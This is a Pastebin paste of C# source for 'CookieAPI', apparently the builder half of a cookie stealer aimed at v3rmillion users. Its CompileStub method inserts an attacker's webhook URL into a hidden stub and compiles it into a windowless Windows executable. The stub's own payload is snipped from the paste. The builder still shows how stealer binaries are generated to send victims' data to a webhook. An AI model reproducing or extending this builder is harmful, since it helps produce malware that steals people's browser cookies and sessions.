Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // Hello v3rmillion skid i see that u found this now go ahead and post this in the lounge
- using System;
- using System.CodeDom.Compiler;
- using System.Collections.Generic;
- using System.ComponentModel;
- using System.Diagnostics;
- using System.Drawing;
- using System.IO;
- using System.Linq;
- using System.Net;
- using System.Runtime.InteropServices;
- using System.Security.Cryptography;
- using Microsoft.CSharp;
- using Microsoft.CSharp.RuntimeBinder;
- using Microsoft.Win32.SafeHandles;
- using Microsoft.VisualBasic;
- using CookieAPI.Properties;
- namespace CookieAPI
- {
- public class Class1
- {
- [DllImport("wininet.dll", CharSet = CharSet.Ansi, EntryPoint = "InternetSetCookieA", ExactSpelling = true, SetLastError = true)]
- public static extern bool InternetSetCookie([MarshalAs(UnmanagedType.VBByRefStr)] ref string Url, [MarshalAs(UnmanagedType.VBByRefStr)] ref string CookieName, [MarshalAs(UnmanagedType.VBByRefStr)] ref string CookieData);
- public void CompileStub(string WebHook, string StubName)
- {
- string text = this.uncompiled;
- text = text.Replace("CustomHook", WebHook);
- bool flag4 = File.Exists(StubName + ".exe");
- if (flag4)
- {
- File.Delete(StubName + ".exe");
- }
- this.CompileCSharpEXE(text, StubName + ".exe");
- }
- public bool CompileCSharpEXE(string src, string filepath)
- {
- CSharpCodeProvider csharpCodeProvider = new CSharpCodeProvider(new Dictionary<string, string>
- {
- {
- "CompilerVersion",
- "v4.0"
- }
- });
- CompilerParameters compilerParameters = new CompilerParameters();
- string[] value = new string[]
- {
- "Microsoft.VisualBasic.dll",
- "System.dll",
- "System.Core.dll",
- "System.Data.dll",
- "System.Data.DataSetExtensions.dll",
- "System.Management.dll",
- "System.Windows.Forms.dll",
- "System.Xml.dll",
- "System.Xml.Linq.dll",
- "System.Net.dll"
- };
- compilerParameters.ReferencedAssemblies.AddRange(value);
- compilerParameters.GenerateExecutable = true;
- compilerParameters.OutputAssembly = filepath;
- compilerParameters.CompilerOptions = "/optimize /target:winexe";
- CompilerResults compilerResults = csharpCodeProvider.CompileAssemblyFromSource(compilerParameters, new string[]
- {
- src
- });
- bool flag = compilerResults.Errors.Cast<CompilerError>().Any<CompilerError>();
- bool result;
- if (flag)
- {
- foreach (object obj in compilerResults.Errors)
- {
- Console.WriteLine(((CompilerError)obj).ErrorText);
- }
- result = false;
- }
- else
- {
- result = true;
- }
- return result;
- }
- private string uncompiled = "CompilerSnipped";
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement